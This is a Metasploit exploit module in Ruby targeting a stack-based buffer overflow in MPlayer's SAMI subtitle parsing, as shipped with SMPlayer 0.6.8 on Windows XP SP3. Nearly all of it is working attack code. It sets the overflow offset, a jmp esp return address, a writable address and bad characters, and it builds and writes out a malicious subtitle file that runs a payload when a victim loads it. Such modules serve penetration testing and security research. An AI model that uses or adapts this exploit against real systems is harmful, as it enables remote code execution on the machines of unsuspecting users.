##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'MPlayer SAMI Subtitle File Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack-based buffer overflow found in the handling
        of SAMI subtitles files in MPlayer SVN Versions before 33471. It currently
        targets SMPlayer 0.6.8, which is distributed with a vulnerable version of mplayer.

        The overflow is triggered when an unsuspecting victim opens a movie file first,
        followed by loading the malicious SAMI subtitles file from the GUI. Or, it can also
        be done from the console with the mplayer "-sub" option.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [
        'Jacques Louw', # Vulnerability Discovery and PoC
        'juan vazquez' # Metasploit module
      ],
      'References'     =>
        [
          [ 'BID', '49149' ],
          [ 'OSVDB', '74604' ],
          [ 'URL', 'http://labs.mwrinfosecurity.com/files/Advisories/mwri_mplayer-sami-subtitles_2011-08-12.pdf' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
          'DisablePayloadHandler' => 'true',
        },
      'Payload'        =>
        {
          'Space'    => 4000,
          'BadChars' => "\x00\x0a\x0d\x09\x3c\x3e\x5c\x22\x7b\x7d",
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'SMPlayer 0.6.8 / mplayer.exe Sherpya-SVN-r29355-4.5.0 / Windows XP English SP3',
            {
              'Offset' => 1033,
              'Ret' => 0x016c14df, # jmp esp from mplayer.exe .rsrc
              'WritableAddress' => 0x013ab3ae # from mplayer.exe .bss
            }
          ],
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'May 19 2011',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('FILENAME',   [ false, 'The file name.', 'msf.smi']),
      ])
  end

  # Split the subtitle to avoid mplayer complaining
  # about the line max length
  def sami_encode(s)
    r = ""
    i = 0
    while i < s.length
      r << s[i, 32]
      r << "\n"
      i += 32
    end
    r
  end

  def exploit

    sploit = rand_text(target['Offset'])
    sploit << [target.ret].pack("V")
    sploit << "\xeb\x06" # jmp short 0x8
    sploit << rand_text(2)
    sploit << [target['WritableAddress']].pack("V")
    sploit << payload.encoded

    sami = "<SAMI>\n"
    sami << "<BODY>\n"
    sami << "<SYNC Start=100550>\n"
    sami << sami_encode(sploit)
    sami << "</SYNC>\n"
    sami << "</BODY>\n"
    sami << "</SAMI>\n"

    print_status("Creating '#{datastore['FILENAME']}' file ...")

    file_create(sami)
  end

end
